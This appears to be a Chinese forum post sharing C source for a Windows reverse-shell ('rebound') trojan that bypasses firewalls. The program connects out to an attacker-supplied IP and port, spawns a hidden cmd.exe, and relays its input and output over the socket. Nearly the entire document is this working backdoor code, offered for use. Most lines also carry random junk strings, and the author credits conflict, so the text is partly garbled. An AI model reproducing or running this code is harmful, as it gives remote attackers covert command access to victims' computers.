这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 G5'HrV
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/* ============================== &/tGT3)
Rebound port in Windows NT E>3(ff&
By wind,2006/7 A]q"+Z]
===============================*/ 2]/[
#include !i*bb~
#include P xiJ R[a
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#pragma comment(lib,"wsock32.lib") )|CF)T-
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void OutputShell(); ?(P3ZTk?.
SOCKET sClient; :igURr
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; V
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void main(int argc,char **argv) KI~M.2pk
{ H3qM8_GUA
WSADATA stWsaData; |%xgob
int nRet; CJ#1j>
SOCKADDR_IN stSaiClient,stSaiServer; ^E`SR6_cmj
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if(argc != 3) Ph|\%P`>%
{ PcQqdU^!
printf("Useage:\n\rRebound DestIP DestPort\n"); P*zOt]T
return; X!ad~bt
} 92)e/t iP
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WSAStartup(MAKEWORD(2,2),&stWsaData); tv8}O([
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?^z.WQ|f@
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stSaiClient.sin_family = AF_INET; H:>i:\J/M9
stSaiClient.sin_port = htons(0); 1.y|bB+kB
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 1Wy0#?L
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) y:+4-1
{ s6| S#
printf("Bind Socket Failed!\n"); y?*4SLy
return; ^E349c-|
} z6f N)kw
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stSaiServer.sin_family = AF_INET; R@Kzdeo
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 2%*mL98WK
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); YqSkz|o}m
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) x=~$ik++
{ '#p2v'A
printf("Connect Error!"); 7lYiu fg
return; CBvvvgI o
}
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OutputShell(); 0281"aO
} S eTn]
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void OutputShell() (c=.?{U
{ E+xC1U
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char szBuff[1024]; HbXYinG%
SECURITY_ATTRIBUTES stSecurityAttributes; p&|:,|jo5
OSVERSIONINFO stOsversionInfo; hxQx$
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; JXA!l?%
STARTUPINFO stStartupInfo; !<2%N3l
char *szShell; c^s%t:)K
PROCESS_INFORMATION stProcessInformation; Wz]ny3K[.
unsigned long lBytesRead; k-N`
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); u>W:SM
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1so9w89
stSecurityAttributes.lpSecurityDescriptor = 0; ;+-Dg3
stSecurityAttributes.bInheritHandle = TRUE; 6o4Bf| E]
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); m/(f?M l
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); >wOqV!0<
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @0{vA\
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =2rkaBFC
stStartupInfo.wShowWindow = SW_HIDE; 1?}5.*j<
stStartupInfo.hStdInput = hReadPipe; 6)_svtg
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ltH?Ew<]
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GetVersionEx(&stOsversionInfo); -SGoE=
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switch(stOsversionInfo.dwPlatformId) 1FfSqd
{ :497]c3#5C
case 1: (_aM26s
szShell = "command.com"; gJUawK
break;
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default: &W@#pG
szShell = "cmd.exe"; WMw^zq?hd@
break; Nxd<#p
} -{ M(1vV(=
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 5U!yc7eBI/
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send(sClient,szMsg,77,0); fCa*#ME
while(1) }cPH}[$zF
{ "0ZBPp1q
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); -h?ed'e/zz
if(lBytesRead) 6b6rM%B.oD
{ lUJ~_`D
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); u{ +z?N
send(sClient,szBuff,lBytesRead,0); wYLi4jYm
} Z>t,B%v
else )EhRqX9
{ `BOG e;pl
lBytesRead=recv(sClient,szBuff,1024,0); z&a>cjt_;
if(lBytesRead<=0) break; 8,^2'dK34
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); MaS"V`NI
} $pLJtQ
} n |e=7?H8
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return; Q6lC :cB<
}